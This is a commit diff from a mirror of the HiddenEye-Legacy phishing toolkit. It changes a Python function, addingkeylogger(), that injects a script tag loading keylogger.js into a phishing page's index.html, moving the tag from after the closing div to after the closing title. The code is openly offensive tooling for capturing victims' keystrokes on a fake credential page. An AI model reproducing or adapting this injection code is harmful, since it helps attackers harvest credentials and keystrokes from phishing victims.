mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
parent
8bed4a2a50
commit
89754f2ec4
|
@ -314,7 +314,7 @@ def addingkeylogger():
|
||||||
if 'Y' in custom or 'y' in custom:
|
if 'Y' in custom or 'y' in custom:
|
||||||
with open('Server/www/index.html') as f:
|
with open('Server/www/index.html') as f:
|
||||||
read_data = f.read()
|
read_data = f.read()
|
||||||
c = read_data.replace('</div>', '</div><script src="keylogger.js"></script>')
|
c = read_data.replace('</title>', '</title><script src="keylogger.js"></script>')
|
||||||
f = open('Server/www/index.html', 'w')
|
f = open('Server/www/index.html', 'w')
|
||||||
f.write(c)
|
f.write(c)
|
||||||
f.close()
|
f.close()
|
||||||
|
@ -324,7 +324,7 @@ def addingkeylogger():
|
||||||
else:
|
else:
|
||||||
with open('Server/www/index.html') as f:
|
with open('Server/www/index.html') as f:
|
||||||
read_data = f.read()
|
read_data = f.read()
|
||||||
c = read_data.replace('</div><script src="keylogger.js"></script>', '</div>')
|
c = read_data.replace('</title><script src="keylogger.js"></script>', '</title>')
|
||||||
f = open('Server/www/index.html', 'w')
|
f = open('Server/www/index.html', 'w')
|
||||||
f.write(c)
|
f.write(c)
|
||||||
f.close()
|
f.close()
|
||||||
|
|
Loading…
Reference in New Issue
Block a user